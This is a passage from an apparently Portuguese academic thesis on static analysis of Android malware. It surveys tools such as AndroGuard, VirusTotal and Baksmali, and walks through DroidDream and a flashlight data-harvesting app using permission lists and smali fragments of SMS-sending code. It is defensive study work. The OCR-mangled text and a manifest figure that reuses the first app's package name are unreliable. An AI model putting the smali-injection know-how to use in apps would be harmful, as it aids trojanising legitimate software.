acessadas por elas [26]. Dessa forma uma aplicacdo que acessa o servico de localizagdo ndo
seria identificada como malware, mas se tentasse também iniciar assim que o telefone ligasse,
seria classificada como malware, por usar esse conjunto de permissdes. No entanto essa
abordagem ainda apresentou uma percentagem de 3,8% de falsos positivos, um numero
semelhante ao que se obteve ao classificar aplicagdes apenas pela permissdo de enviar
mensagens SMS (4%).

Com esses resultados pode-se observar que as permissdes usadas pelos aplicativos podem
fornecer algum indicativo sobre seu comportamento, mas apresentam um ndmero elevado de
falsos positivos, devendo ser aliado a outras técnicas, como Aprendizado de Maquina

(“Machine Learning”), para poder classificar uma aplicagcdo como malware.
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4 ANALISE DE MALWARES PARA DISPOSTIVOS MOVEIS

Apdbs o advento da Internet, esta tornou-se parte do cotidiano de muitas pessoas. Além
disso, as facilidades oferecidas levam as pessoas a utilizarem cada vez mais 0S servicos
oferecidos na Internet. Realizagdo de transa¢des bancérias online e propagandas sdo exemplos
do uso comercial da Internet.

Servicos que lidam com dados sensiveis do usuario naturalmente despertam o interesse de
pessoas que enxergam possibilidades de se aproveitar do sistema para roubar dados do usuario
ou ganhar dinheiro. Os softwares desenvolvidos nesse sentido sdo conhecidos como malwares
e permitem que essas pessoas causem 0s danos desejados.

Para proteger usuarios dessas ameacas, empresas de seguranca oferecem ferramentas que
visam identificar componentes de softwares maliciosos. Normalmente, essas ferramentas
aplicam algum tipo de assinatura de correspondéncia para identificar ameagas conhecidas. Essa
técnica exige que a empresa forneca um banco de dados de assinaturas. ApOs iSO essas
assinaturas criadas manualmente sdo comparadas com potenciais ameagcas.

Assim que uma empresa de seguranca recebe uma amostra de uma potencial ameaca para
ser estudada, o primeiro passo a ser executado por um analista € determinar se a amostra
representa uma ameaca para usuarios, o que é feito por meio de uma analise da amostra. Se for
classificada como uma ameaca, a amostra recebe uma assinatura para possibilitar sua posterior
identificacdo. Vale ressaltar que essa assinatura deve ser genérica o suficiente, mas na medida
certa, de forma que a assinatura tenha correspondéncia com variagdes da mesma ameaca, mas
que ndo indique falsos positivos em contetdos legitimos.

Para criadores de malware € trivial gerar de forma automatica inimeras variacdes de uma
Unica amostra maliciosa. Logo, tornou-se necessario que as empresas de seguranca
desenvolvessem métodos automaticos de analise de malwares, também pelo fato de receberem
uma enorme quantidade de amostras por dia. Esses métodos automaéticos servem para
rapidamente diferenciar amostras que merecem uma analise mais rebuscada (feita por humanos)
de outras gque sdo variacdes de ameacas ja conhecidas.

Essas analises automaticas podem ser realizadas de duas maneiras: a analise estatica e a
analise dindmica [17]. Os dois métodos tém seus pros e contras, e a escolha dentre um método
e outro depende da decisdo de quem realizara a analise e da sua experiéncia. Em muitos casos
a analise dinamica pode prover resultados mais rapidos, no entanto problemas que podem ser

facilmente identificados em uma andlise estatica podem passar despercebidos pela anéalise
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dindmica. Normalmente, os dois métodos sao aplicados em conjunto, e seus dados (relatorios)
sdo avaliados por técnicas de inteligéncia artificial como o Aprendizado de Maquina.

4.1 ANALISE DINAMICA

Na andlise dindmica observa-se o comportamento do malware durante sua execu¢do no
sistema. Muitas das vezes sdo usadas maquinas virtuais como ferramentas de analise dindmica
de malware, e quem estiver analisando observa os logs do sistema e da rede gerados durante a
execucao do programa para entender o comportamento do virus.

A maioria das ferramentas para analise dindmica implementam funcionalidades que
monitoram quais APIs (Application Programming Interface) — funcGes que formam um
conjunto coerente de funcionalidades — sdo chamadas pela amostra sob anélise, ou quais
chamadas do sistema séo invocadas. Analisando os pardmetros passados para a APl e para
funcbes do sistema, permite-se que varias chamadas de funcGes sejam agrupadas
semanticamente. Além disso, muitas ferramentas de andlise fornecem funcionalidades que
permitem observar como dados sensiveis sdo processados e propagados no sistema. Essa
informacdo serve como indicio para o analista e ajuda a entender quais tipos de dados séo
processados em uma amostra de malware.

A andlise dinamica automatica resulta em um relatorio que descreve as acOes realizadas
pelo malware que foram observadas durante a anélise. A informagdo que um analista obtém
das ferramentas de analise dindmica permitem a este ter um entendimento do comportamento
da amostra de malware e, portanto, estabelece as bases para a adequada implementacdo de

medidas preventivas [17].

4.2 ANALISE ESTATICA

Na anélise estatica sdo usadas técnicas de engenharia reversa sobre o cédigo do virus para
entender o seu comportamento. Essas técnicas incluem separar o programa em partes e utilizar
técnicas para recriar o algoritmo original em que foi escrita aquela aplicacdo [18].

Quando os codigos fonte de um programa sdo compilados em executaveis algumas
informagdes sdo perdidas, por exemplo, o tamanho da estrutura de dados ou valores de

variaveis. A perda dessas informagdes dificulta a anélise desses cddigos. As ferramentas de
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andlise estatica sdo usadas para poder extrair essas informacdes Uteis que foram perdidas apos
0 processo de compilagdo. Essas informagdes dao ao analista uma visao geral de quais fungdes
sdo invocadas pelo aplicativo e em que partes do codigo elas estao presentes.

No entanto, existem alguns problemas na escolha dessa abordagem. Geralmente, o codigo
fonte da amostra ndo esta prontamente disponivel. Além disso, pode-se esperar que criadores
de malware saibam das limitagdes dos metodos de analise estatica e provavelmente criem
instancias de malware que empreguem técnicas para frustrar a analise estatica, como ofuscacéo
do codigo, compressao, cifracdo dos dados, etc. Faz-se entdo necessario desenvolver técnicas
de andlise que sejam resistentes a tais modificacfes e que sejam capazes de analisar softwares

maliciosos de forma confiavel [17].

28



5 FERRAMENTAS PARA ANALISE ESTATICA DE MALWARE PARA
ANDROID

5.1 ANDROID SDK

Normalmente as aplicacfes para o sistema Android sdo desenvolvidas na linguagem Java
e utilizam o Android Software Development Kit (Android SDK) [5].

O Android SDK conta com um conjunto de ferramentas para o desenvolvimento de
aplicacdes que inclui as bibliotecas necessarias, um depurador, um emulador para testar os
aplicativos desenvolvidos, documentacdo, codigos de exemplo e tutoriais.

Toda vez que uma nova versao do sistema Android é langada, a Google disponibiliza uma
nova versdo do Android SDK. No entanto, os desenvolvedores podem continuar desenvolvendo
para versdes anteriores e testar o comportamento de vers@es anteriores do sistema Android no
emulador fornecido pelo SDK se necessitarem.

O Android SDK é compativel com o0s sistemas operacionais mais populares atualmente:
Mac OS X versdo 10.5 ou superior, Windows XP ou superior, e as versdes mais recentes de
distribuicbes Linux para desktop. Também existem IDE's (ambientes integrados de
desenvolvimento) que apresentam compatibilidade com o Android SDK por meio de plugins.
Esse é o0 caso das IDE's Eclipse e do NetBeans [5].

Cada aplicativo Android é compilado e empacotado em um Unico arquivo com extensao
.apk, sigla do termo “Application Package”, cuja tradug@o ¢ pacote da aplicagdo. Esse arquivo
contém todo cadigo utilizado na aplicacdo (arquivos de extensdo .dex), 0s recursos, 0 arquivo
AndroidManifest, etc. O cddigo fonte é compilado em arquivos de extenséo .dex, conhecidos
como Dalvik Executables, que apresentam esse nome devido a uma fase do processo de
compilacdo de aplicacBGes para Android que inclui a interpretacdo por uma maquina virtual
conhecida como Dalvik Virtual Machine, a qual visa otimizar recursos de memoria e
armazenamento, para atender requisitos de hardware de sistemas moveis.

Um arquivo importante que toda aplicacdo deve ter séo os arquivos AndroidManifest.xml.
Esse arquivo contém informagfes importantes que devem ser apresentadas ao sistema
operacional antes de iniciar uma aplicacdo. Dentre as principais fungdes descritas nesse arquivo
encontram-se: uma lista com as bibliotecas usadas pela aplicagdo; a versdo minima da API

Android para que a aplicacdo funcione; permissdes acessadas pela aplicacdo para obter recursos
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protegidos no sistema e interagir com outras aplicacdes; e as permissdes que outras aplicagdes
devem conter para que possam interagir com a aplicacdo em questao.

O Android SDK conta também com um recurso interessante chamado adb (Android Debug
Bridge) [5]. Esse recurso apresenta uma ferramenta em linha de comando que permite uma
comunicagdo com uma instancia do emulador, ou com um dispositivo Android conectado a
maquina. Essa ferramenta permite analisar os processos que estdo sendo executados em um
determinado dispositivo, e instalar aplicativos nas maquinas virtuais, ou nos dispositivos

conectados [27].

5.2 ANDROGUARD

O AndroGuard [6] é um projeto de codigo aberto que conta com diversas ferramentas para
analise estatica de malwares ou de qualquer aplicacdo para dispositivos Android. A maior parte
do seu codigo fonte ¢ escrito na linguagem Python e ¢ usado como ferramenta por muitas
empresas para realizar analise de malware, como por exemplo: VirusTotal, APKInspector,
MarvinSafe, dentre outras [28]. O projeto encontra-se disponivel para as principais plataformas
desktop: Mac OS X, Windows e Linux e tem compatibilidade com ferramentas de edi¢do, como
o editor de texto Sublime.

A proposta principal da API Androguard ¢ fornecer ferramentas a seus usudrios que
possibilitem a estes criar suas proprias ferramentas de analise de malware. Essas ferramentas
lidam com os formatos utilizados pelo sistema Android para desenvolvimento de aplicativos,
como descritos no item anterior sobre o Android SDK (formatos apk, dex,
AndroidManifest.xml, etc.). Uma das principais funcionalidades do AndroGuard ¢ o
mapeamento que realiza desses arquivos do sistema em objetos Python que podem ser
manipulados pelo usuério para facilitar o desenvolvimento de suas ferramentas de analise. O
usudario pode criar seu préprio codigo na linguagem Python utilizando essa API ou utilizar a
ferramenta Androlyze, que consiste em uma linha de comando interativa com comandos em
Python.

Outra funcionalidade importante diz respeito a decompilacdo do cédigo fonte presente nos
arquivos de extenséo .dex para o formato bytecode. Apesar da representacdo em bytecode ser
intermediaria no processo, ela prové informagdes com relagdo ao comportamento da aplicagdo
em um nivel mais alto do que o formato .dex, facilitando o entendimento do comportamento da

aplicacdo [18]. Podem ser utilizados trés decompiladores no Androguard: dad, dex2jar e ded.
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Uma caracteristica importante de ser analisada diz respeito as permissdes acessadas pelos
aplicativos. As permissdes descritas no arquivo AndroidManifest.xml ndo encontram-se em um
formato legivel tendo em vista que esse arquivo ¢ um xml bindrio utilizado pelo
sistema operacional do dispositivo. O AndroGuard possui a ferramenta Androaxml para
transformar esse arquivo xml do formato binario para o formato convencional para tornar
possivel a leitura do arquivo AndroidManifest.xml.

O AndroGuard conta também com um banco de dados de ameagcas para o sistema Android
com assinaturas e classificagdo das ameacas em algumas categorias. Esse banco de dados ¢
acessado pela ferramenta Androsign. Esse banco de dados ¢ integrado a API Androguard e
permite que os usuarios utilizem esse banco de dados para verificar se as aplicacdes que estdo
testando ja foram registradas como malware anteriormente [6]. Os usuarios podem também
utilizar outra ferramenta, Androcsign, para incluir suas proprias assinaturas no banco de dados
de partes do codigo que identificaram como malware.

Outra funcionalidade que pode ser utilizada é identificar as diferencas entre dois
aplicativos. Cadigos de malware podem ser inseridos em aplicativos legitimos utilizando
assemblers como o Smali, e a analise pode ser efetuada a partir da diferenca presente entre esses
dois aplicativos, permitindo pular varias etapas do processo de analise. Essa identificacdo é
realizada pela ferramenta Androsim, e consegue excluir as bibliotecas nativas do sistema como

similaridades e comparar apenas o cédigo fonte.

5.3 VIRUSTOTAL API

O VirusTotal é um servico gratuito que auxilia na analise de diversos tipos de arquivos
maliciosos. Sua principal funcionalidade é analisar arquivos e URLs suspeitas. Entre as
ferramentas disponibilizadas por esse servico tem-se a VirusTotal API. Essa APl permite que
0 usuario submeta arquivos e URLs para verificacdo bem como acessar relatorios de outros
arquivos que ja tenham sido verificados anteriormente pelo servico VirusTotal e fazer
comentarios nestes. Para fazer uso desse servico € necessario se cadastrar na comunidade
VirusTotal para entdo receber uma chave de acesso. Alem disso, o servi¢o publico oferecido
tem um limite de no méaximo quatro requisi¢cdes por minuto. [29]

A documentacgdo da API presente do site do VirusTotal mostra todos os passos para o
usuario construir um texto (script) simples para acessar as informacdes geradas pelo servico

VirusTotal e todos esses passos utilizam-se da linguagem de programacéo Python. Além disso,
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o0 site indica alguns scripts prontos escritos por membro da comunidade VirusTotal que
permitem ao usudrio interagir com a API usando diferentes linguagens de programacao, como
Java, PHP, entre outras.

Apd6s uma requisicdo o formato de resposta da APl é um objeto JSON contendo no minimo
duas propriedades [29]:

- response_code: se o item procurado ndo estiver presente no conjunto de dados do VirusTotal
esse resultado sera 0. Se ainda estiver na fila para analise o resultado sera -2. Se o item estiver
presente, mas ndo pdde ser recuperado o resultado sera 1.

- verbose_msg: fornece informacéo detalhada em relacéo a propriedade do response_code.

JSON (JavaScript Object Notation — Notacdo de Objetos JavaScript) € uma formatacéo
leve de troca de dados e € completamente independente de linguagens [30].

A partir dessas informacOes, esse trabalho utilizou esse servico como uma primeira
avaliagdo dos arquivos de um malware para Android. Como foi mencionado anteriormente,
existem outros script indicados pelo proprio VirusTotal que permitem interagir com a API
VirusTotal utilizando outras linguagens. Uma dessas indicacGes trata-se de uma API
desenvolvida por membros da comunidade VirusTotal em conjunto com a prépria equipe do
VirusTotal que permite fazer o envio de arquivos locais para o sistema de anélise do VirusTotal
[31]. Essa API foi utilizada para analisar os arquivos de um malware para Android adquiridos
em repositorio. Para isso foi feito o download do arquivo .jar da API e esse foi adicionado as

propriedades do projeto Java criado para fazer as requisi¢fes ao VirusTotal.

5.4 SMALI / BAKSMALI

Smali e Baksmali sdo respectivamente assembler e desassembler para o formato dex que é
utilizado pela maquina virtual Dalvik. O Baksmali torna legiveis os arquivos de extensdo .dex
e .odex, no entanto, esse processo de desassembler ndo fornece informacdes em nivel tdo alto
como os decompiladores disponiveis (dad, dex2jar, ded), mas contém informacdes Uteis acerca
de chamada a funcdes e criacdo de classes. O Smali € uma linguagem assembler muito parecida
com o Jasmin [32] para o Java bytecode, e pode ser utilizado para inserir cédigo dentro de uma

aplicacdo, podendo transformar um aplicativo legitimo em malware.
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5.5 AXMLPRINTER2

O AXMLPrinter2 é uma ferramenta utilizada para transformar os arquivos xml do
aplicativo que se encontram em formato binario para o formato legivel. Essa ferramenta é

utilizada por outras para prover essa funcionalidade.

5.6 APKINSPECTOR

O APKInspector € uma ferramenta em interface grafica que visa facilitar a analise estatica
de malware utilizando as ferramentas ja citadas anteriormente (AndroGuard, BakSmali,
AXMLPrinter2) para prover algumas das funcionalidades principais dessas ferramentas [33].
A ferramenta ndo apresenta todos os recursos do AndroGuard como o acesso a base de dados e
a identificacdo de similaridades entre os aplicativos, mas ela também realiza a decompilacéo e
permite uma visualizacdo mais clara das classes e dos métodos providos pelo aplicativo. O
projeto é recente e foi desenvolvido como parte do projeto “Google Summer of Code” em 2013
(Verdo de cédigo do google em traducdo livre) e conta com alguns problemas, principalmente
pelo fato de utilizar uma versédo muito antiga do AndroGuard, tendo incompatibilidade com a

versdo mais recente do AndroGuard.

5.7 JAVA DECOMPILER GUI

Para desenvolver métodos automatizados de andlise estatica, ferramentas como o
AndroGuard que permitem aos usuarios a criacdo de cddigo para automatizar tarefas sdo as
mais adequadas. No entanto, como esse trabalho visa apenas adquirir conhecimento acerca do
comportamento de malwares para Android por meio da analise estatica, ferramentas que
possuam maior usabilidade e possibilitem maior praticidade ao analisador sdo preferiveis. O
APK Inspector traz algumas funcionalidades do AndroGuard e outras ferramentas de forma a
facilitar a visualizacdo e o entendimento da aplicacdo, porém a ferramenta Java Decompiler
GUI (JD GUI) apresenta as informagdes em um nivel mais alto de abstragéo facilitando o
entendimento por parte dos usuarios.

O JD GUI nédo é uma ferramenta exclusiva para aplicativos Android. Essa ferramenta tenta

reconstruir o codigo fonte original a partir do bytecode. A operacao de reconstrucdo nem sempre
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é realizada com sucesso, e quando isso ocorre nenhuma mensagem de erro é gerada, apenas a
parte do cédigo que ndo foi reconstruida é apresentada como no bytecode original.

Para utilizar essa ferramenta com aplicativos Android é necessario fazer uma transformacéo
do formato .dex, no qual se encontra o codigo executavel do aplicativo, para o formato
bytecode. Para realizar essa tarefa pode ser utilizada a ferramenta dex2jar também presente no
AndroGuard. [34]
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6 ANALISE ESTATICA DE APLICACOES PARA ANDROID

Durante o processo de analise de uma aplicacdo € interessante observar os passos basicos
para realizar a analise, mas € importante ter consciéncia de que com o tempo as formas de
malware vao evoluindo e passam a utilizar técnicas que podem passar despercebidas devido a
limitacGes das ferramentas disponiveis atualmente. Um exemplo disso ocorreu em 2012 quando
foi identificada uma técnica de ofuscagdo conhecida como “junk byte injection”, ja conhecida
nos sistemas x86, que passou despercebida por todas as ferramentas de analise disponiveis até

aquele momento[35].

6.1 MALWARE 1

O aplicativo utilizado para analise foi o Droid Dream, um aplicativo muito conhecido que
infectou milhares de aparelhos Android [36]. Dentre as agdes desempenhadas por esse
aplicativo tem-se a utilizacdo de servicos em segundo plano, envio de SMS Premium, acesso
aos contatos do aparelho, acesso ao nimero IMEI, entre outras.

Feitas essas consideracfes, para iniciar a analise da aplicacdo buscou-se descobrir o que ja
se conhece sobre ela. Para tal foram utilizados os relatérios fornecidos pelo VirusTotal API.

O cadigo em Java utilizado para fazer a requisicao da analise do arquivo .apk do malware
adquirido em repositorio encontra-se no Apéndice 10.1.

O resultado obtido pela analise do servico VirusTotal é uma URL. Nessa URL encontram-
se 0s resultados da analise do arquivo por 50 antivirus, algumas informacGes adicionais que
variam de acordo com 0 arquivo e possiveis comentarios. O resultado para 0 malware em
questdo foi que 2 dos 50 antivirus o tinham identificado como ameaca. Nas informag6es
adicionais nao foram apresentadas informacdes muito Uteis para a analise, porém pesquisando
relatdrios de analise de outros malwares, p6de-se observar que algumas vezes em informacdes
adicionais sdo apresentadas informacGes mais Uteis como as permissdes acessadas pela
aplicacdo, as classes que acessam essas permissdes, entre outros.

Apdbs isso, o proximo passo consistiu em analisar o arquivo AndroidManifest.xml.
Informacgdes como as permissdes e 0s servigos em segundo plano sdo importantes para uma
ideia prévia das partes sensiveis acessadas pelo aplicativo. Como discutido em se¢des anteriores
essas informacdes ndo sdo suficientes para classificar um aplicativo como malware, pois muitas

aplicacdes legitimas também utilizam essas permissdes, no entanto um malware sempre
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utilizard essas permissdes e/ou servicos em plano de fundo. Entretanto, o arquivo
AndroidManifest.xml encontra-se em formato binério. A ferramenta AXMLPrinter2 pode ser
utilizada para converter esse arquivo em um xml legivel. O AndroGuard a partir da ferramenta
Androlyze permite visualizar as permissdes de um aplicativo com alguns comandos no terminal

interativo em Python, como mostrado na Figura 6.1.

In [10]: a,d,dx = AnalyzeAPK("../Viruses/CompressedVirus/com.button.phone_915952
00_0.apk")

In [11]: a.permissions

Out[11]:

['android.permission.INTERNET',
'android.permission.CHANGE_WIFI_STATE',
'android.permission.CHANGE_NETWORK_STATE',
'android.permission.ACCESS_WIFI_STATE',
'android.permission.ACCESS_NETWORK_STATE',
'android.permission.BLUETOOTH',
'android.permission.BLUETOOTH_ADMIN',
'android.permission.WRITE_SETTINGS',
'android.permission.READ_PHONE_STATE',
'android.permission.ACCESS_FINE_LOCATION',
'android.permission.GET_ACCOUNTS',
'android.permission.WRITE_SYNC_SETTINGS',

' 'android.permission.READ_SYNC_SETTINGS',

' 'android.permission.RECEIVE_BOOT_COMPLETED',
'android.permission.INTERNET',

| 'android.permission.READ_PHONE_STATE',

} 'android.permission.RECEIVE_BOOT_COMPLETED',
'android.permission.ACCESS_NETWORK_STATE',

| 'android.permission.READ_CONTACTS',

|

|

'android.permission.READ_SMS',
'android.permission.GET_ACCOUNTS']

[In [12]: § l
Figura 6.1: Permiss@es da aplicacdo mostradas a partir do AndroGuard.

De forma semelhante, a ferramenta APKInspector conta com essa funcionalidade e permite
visualizar todo o arquivo AndroidManifest como mostrado na Figura 6.2, onde estao destacados
as permissdes e o0s servicos. Além disso, a APKInspector apresenta a informacdo acerca das
classes e métodos do aplicativo de uma forma mais clara do que o AndroGuard, como se pode
observar na parte destacada a direita da Figura 6.2, no entanto, o AndroGuard possui mais
funcionalidades, como a linha de comando interativa que permite ao usuario emitir comandos

em Python para receber informag0es acerca do aplicativo.
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» MainView -lolx SideView
CFG Dalvik ByteCode Smali Java Callinfout Permission = AndroidManifest.xml Files Strings Classes Methods APKinfo
<uses-permission androig:name="android.permission. _ > - o 5 Lcom
<uses-permission android:name="android.permission WRITE_SETTINGS" /> v 7 button
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> v U phone
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> v @ NetworkStateReceiver;
<uses-permission android:name="android.permission.GET_ACCOUNTS" /> <init>
<uses-permission android:name="android.permission WRITE_SYNC_SETTINGS" /> | onReceive
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" /> » U RSarray;
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> y
<uses-permission android:name="android.permission.INTERNET" /> > & RSattr;
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> » & RSdrawable;
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> > 7 RSid;
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> » U RSlayout;
<uses-permission android:name="android.permission.READ_CONTACTS" /> » U RSstring;
<uses-permission android:name="android.permission.READ_SMS" /> » U RSstyleable;
5 " > P R
<application android:label="@string/app_name" androidiicon="@drawable/icon™> > : :eceiver'
<activity android:label="@string/app_name" android:name=".Switcher" X
e g . » J setting;
android:launchMode="singleTop"> S
<intent-filter> > & Switcher$1;
<action android:name="android.intent.action.MAIN" /> » U switcher$2;
<category android:name="android.intent.category.LAUNCHER" /> » J Switcher;
</intent-filter> » U utils;
<factivity> » U strategy
<activity androi_d:nam_e:"comgoogle‘ads.AdAczivity" android:configChanges="keyboard| » @ google
keyboardHidden|orientation” />
<activity android:label="@string/menu_setting"” android:name=".Setting" />
<receiver android:name=".Receiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<fintent-filter>
</receiver>
<receiver android:name="_strategy.core.RebirthReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.PHONE_STATE" />
<category android:name="android.intent.category.DEFAULT" />
<fintent-filter>
< >
<service andron:name:‘.strateg_y.servke.CeIebrateService‘ />4 Please input the strings
</manifest> Filter Search
OK

Figura 6.2: Interface grafica do APKInspector.

No arquivo AndroidManifest pode-se observar o acesso a diversas permissées do aparelho
como 0 acesso a rede, envio de SMS, leitura dos contatos e informagdes do aparelho, além de
um servico de segundo plano de nome “CelebrateService”.

Apos analisar o arquivo AndroidManifest.xml, foram utilizadas as informagdes acerca dos
servicos em segundo plano e das permissdes acessadas para descobrir em que parte do cédigo
fonte do aplicativo estdo sendo acessadas essas permissdes. Nessa etapa preferiu-se a utilizagéo
do AndroGuard, pois a sua linha de comando interativa permite visualizar os métodos e as
classes que estdo relacionados com uma dada permissdo. Por exemplo, para a permissao de
enviar SMS pode-se identificar na Figura 6.3 que dois métodos fazem uso dela. Essa abordagem
do AndroGuard € util para automatizar o processo de analise, uma vez que todos 0os comandos

inseridos no terminal interativo em Python podem ser utilizados em um programa em python.
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In [22]: = dx.get_per

dx.get_ permissxons dx.get_permissions_method
In [22]: p = dx.get_permissions([])

[In [23]: show Paths(d,p["SEND SMS"])

Lcom/button/phone/strategy/servtce/Tools ->sendSms(L]ava/lang/Strlng, Ljava/la

msManager ; ->sendMultipartTextMessage(Ljava/lang/String; Ljava/lang/String; Ljav,

Figura 6.3: Resultado do AndroGuard para 0s métodos que acessam 0 servigo de envio de
SMS.

A seguir, pode-se proceder de forma analoga para as outras permissdes, ou prosseguir a
analise investigando o resultado do comando feito no AndroGuard para encontrar 0s métodos
relacionados a uma dada permissdo. No caso da permissdo SEND_SMS, pode-se verificar na
Figura 6.3 que a permissdo é utilizada por métodos relacionados a classe referenciada por
Landroid/com/button/phone/strategy/service/Tools que corresponde a classe
android.com.button.phone.strategy.service.Tools que por sua vez possui métodos relacionados
a servicos do celular, como o servico SMS e o niumero IMEI.

O proximo passo consiste em analisar 0 arquivo classes.dex, que contém o cddigo fonte no
formato utilizado pela Dalvik Virtual Machine. Nessa etapa utilizam-se desassemblers como o
Baksmali e decompiladores como o dad, dex2jar e ded que vém integrados ao AndroGuard e
ao APKInspector. Esses desassemblers e decompiladores fornecem informaces em um nivel
mais alto de abstracéo do arquivo classes.dex. Nessa etapa foi utilizada a ferramenta Baksmali,
que além de realizar o desassembler organiza o codigo em pastas, permitindo acessar
diretamente a classe  Tools (que utiliza o envio de SMS) em
“com/button/phone/strategy/service” como mostrado na Figura 6.4. Pode-se observar que o
servico de segundo plano “CelebrateService” estd presente na mesma pasta. Uma outra
possibilidade nessa etapa seria utilizar a ferramenta Java Decompiler GUI, que prové em uma
interface grafica os resultados da decompilacdo. No entanto, a decompilacdo néo foi realizada

com sucesso para grande parte do codigo e, por isso, preferiu-se utilizar a ferramenta Baksmali.
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output com button phone strategy service : Q search

.clas .clas .clas .clas
.Supe .Supe .Supe .Supe
.Sour .sour . Sour .sour

AppManager.smali CelebrateService. CelebrateService$1. CelebrateService$2.
smali smali smali
.clas .clas .clas .clas
. Supe . Supe . Supe «Supe
. Sour . Sour . Sour . Sour
CelebrateServiceS2  CelebrateServiceS2 CelebrateServiceS3. Tools.smali
S1.smali $1S$1.smali smali

Figura 6.4: Pasta onde se localiza o codigo do servico de segundo plano.

Ap0s isso fez-se uma busca pelas classes do aplicativo que utilizam o servico de envio de
SMS a partir da classe Tools. Pode-se observar que a classe SmsTask tem chamadas a métodos
da classe Tools, como ilustrado na Figura 6.5.

invoke-static {v3, v4, v5}, Lcom/button/phone/strategy/service/Tools;->
sendSms(Ljava/lang/String:Ljava/lang/String:Landroid/app/PendingIntent;)Z

.line 270
:cond_50
add-int/1it8 v2, v2, Ox1

goto :goto_6

.line 273}

.end local v1 # "h":Lcom/button/phone/strategy/core/ContactSmsHandler;
:catch_53
move-exception v3

foes)

invoke-static {v4, v3, v5}, Lcom/button/phone/strategy/service/Tools;->
createlnboxSms(lLandroid/content/Context Ljava/lang/String Ljava/lang/String:)Z

.line 284
:cond_a1
add-int/1it8 v2, v2, 0Ox1

goto :goto_5e
.line 288

.end local v1 # "h":Lcom/button/phone/strategy/core/ContactSmsHandler;
:catch_a4

move-exception v3

Figura 6.5: Métodos chamados pela classe SmsTask pertencentes a classe Tools.
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Isso mostra que o servigo que executa em segundo plano utiliza o envio de SMS. Pode-se
proceder de forma analoga para descobrir outras informacdes acerca do servico, tais como:
como € utilizado o nimero IMEI do aparelho, atividade que é realizada quando o aparelho esta
conectado a rede; em que parte é utilizada a leitura dos contatos do aparelho; etc.

O processo de organizacao em diretérios do Baksmali € Gtil na automatizagcdo do processo
de analise uma vez que a organizagdo dos pacotes das classes esté diretamente relacionada com
os diretorios criados pelo Baksmali. No entanto, o desassembler da aplicacdo ndo prové
informacdes em um nivel tdo alto como o cddigo fonte original obtido pela decompilacéo, o
que pode dificultar a andlise tanto para o analisador como para uma andlise automatizada. O
problema ao analisar o codigo apenas pela decompilacdo é que nem sempre esta consegue ser
realizada com sucesso para todo codigo da aplicacdo (como foi o caso desse malware), ao passo

que o desassembler da aplicacdo sempre € possivel de ser realizado.

6.2 MALWARE 2

O segundo malware escolhido para a analise é conhecido como “The Brightest Flashlight
Free app”. Para o usuario, o aplicativo apenas ativa o flash do aparelho, fazendo que este
funcione como uma lanterna. No entanto, ao se instalar no aparelho, a aplicacdo transmite, ou
permite que seja transmitida, a localizacdo do aparelho (latitude e longitude) juntamente com
identificadores persistentes deste para terceiros, incluindo redes de publicidade. Apos a
instalacdo, a aplicacdo ainda pergunta ao usuario se este permite que sejam utilizados seus
dados de localizacdo. Entretanto, antes mesmo de fazer essa pergunta, a aplicacdo ja estd
transmitindo os dados do usuario em segundo plano. [37]

O aplicativo ainda esta disponivel na loja Google Play para download. Porém, para garantir
a seguranca dos usuarios, a FTC (Federal Trade Comission — Comissao Federal de Comércio)
ja ordenou que o distribuidor do aplicativo, Goldshores Technologies, apagasse todas as
informacBes pessoais coletada ao longo dos anos do seu banco de dados. Contudo, nada pode
ser feito quanto as companhias que ja compraram esses dados anteriormente. [38]

Para efetuar a analise desse aplicativo seguem-se procedimentos similares ao primeiro
malware analisado. O primeiro passo consiste na busca do que se conhece a respeito desse
malware por meio do VirusTotalAPI. O resultado obtido foi que apenas um dos anti-virus o

classificou na categoria de suspeito, enquanto os outros o consideraram aplicacdo legitima.
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Talvez esse falso negativo tenha ocorrido em virtude de o distribuidor j& ter sido proibido de
comercializar os dados do usuério e, por isso, muitos dos anti-virus ja o reconhecem como
aplicacdo legitima.

O proximo passo da analise consiste em analisar as permissdes que o aplicativo acessa a
partir da andlise do AndroidManifest.xml. Utilizando a ferramenta APKInspector como na
andlise do primeiro malware, transforma-se o arquivo AndroidManifest.xml que encontrava-se

no formato binario para o formato legivel, como mostrado na Figura 6.6.

MainView

CFG Dalvik ByteCode Smali Java Callinfout Permission = AndroidManifest.xml

<2xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="4" android:versionName="1.3" package="com.button.phone"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="6" />

lkuses-permission android:name=_android.permission.INTERNET />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission. ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.BLUETOOTH" />
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
<uses-perm155|on androud name= andrond permlsswn WRITE SETTINGS />

<uses—perm|sswn android:name= .permission.GET_ACCOUNTS S
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />

<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<application android:label="@string/app_name" android:icon="@drawable/icon">

<activity android:label="@string/app_name" android:name=".Switcher"

android:launchMode="singleTop">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name="com.google.ads.AdActivity" android:configChanges="keyboard|
